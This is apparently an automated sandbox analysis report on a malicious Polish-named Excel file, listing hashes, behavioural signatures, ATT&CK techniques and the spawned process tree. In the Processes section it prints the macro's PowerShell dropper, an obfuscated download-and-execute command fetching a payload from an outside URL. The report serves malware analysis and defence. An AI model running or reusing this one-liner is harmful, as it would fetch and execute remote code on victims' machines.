Analysis

  • max time kernel
    138s
  • max time network
    132s
  • platform
    windows10_x64
  • resource
    win10v200430
  • submitted
    30-06-2020 10:54

General

  • Target

    Potwierdzenie transakcji.xls

  • Size

    856KB

  • MD5

    02bebda14734b392c40e86a08717e140

  • SHA1

    95a6a416f682a9d254e76ec38ade01ce241b3366

  • SHA256

    debf78ac913e3b76debc7c4745d1e9ff858d6f3392ad02db78eb18408ac4beaf

  • SHA512

    9f72ca77987b210012156cba8f8b43c2e3bd0ff109c7c665088cc92eb4ca8374576c7f4c4b6dd67e04846124f143017c62ca9930d78f6bebe435bfb3382c992c

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

http://officeservicecorp.biz/Lab.jpg

Signatures

  • Suspicious use of WriteProcessMemory 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Potwierdzenie transakcji.xls"
    1⤵
    • Suspicious use of WriteProcessMemory
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    PID:1732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -Command IEX (New-Object('Net.WebClient')).'DoWnloadsTrInG'('http://officeservicecorp.biz/Lab.jpg')
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Process spawned unexpected child process
      PID:3668

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

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Downloads

  • memory/3668-0-0x0000000000000000-mapping.dmp